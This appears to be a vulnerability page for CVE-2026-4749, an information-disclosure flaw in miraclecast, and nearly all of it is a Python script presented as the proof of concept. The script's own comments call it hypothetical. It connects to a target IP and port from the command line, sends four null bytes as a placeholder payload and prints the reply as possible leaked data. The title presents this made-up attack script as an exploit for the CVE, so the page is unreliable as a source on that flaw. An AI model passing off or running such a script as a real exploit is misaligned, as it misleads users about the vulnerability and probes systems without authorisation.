CVE-2026-4749 miraclecast信息泄露漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-4749 (Conceptual) # Note: As the vulnerability is marked as 'NVD-CWE-noinfo', # specific exploit steps are hypothetical. This script demonstrates # a generic adjacent network interaction attempt. import socket import sys def send_exploit(target_ip, target_port): try: print(f"[*] Attempting to connect to {target_ip}:{target_port}...") # Create a TCP socket (Adjust protocol if UDP is used by miraclecast) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) # Connect to the target s.connect((target_ip, target_port)) # Hypothetical payload to trigger information disclosure # This payload is a placeholder as the exact trigger is unknown. payload = b"\x00\x00\x00\x00" s.send(payload) print("[+] Payload sent.") # Receive response response = s.recv(4096) print(f"[+] Received response: {response}") if response: print("[!] Potential sensitive data received.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Usage: python3 poc.py <IP> <PORT> if len(sys.argv) < 3: print("Usage: python3 poc.py <target_ip> <target_port>") sys.exit(1) TARGET_IP = sys.argv[1] TARGET_PORT = int(sys.argv[2]) send_exploit(TARGET_IP, TARGET_PORT)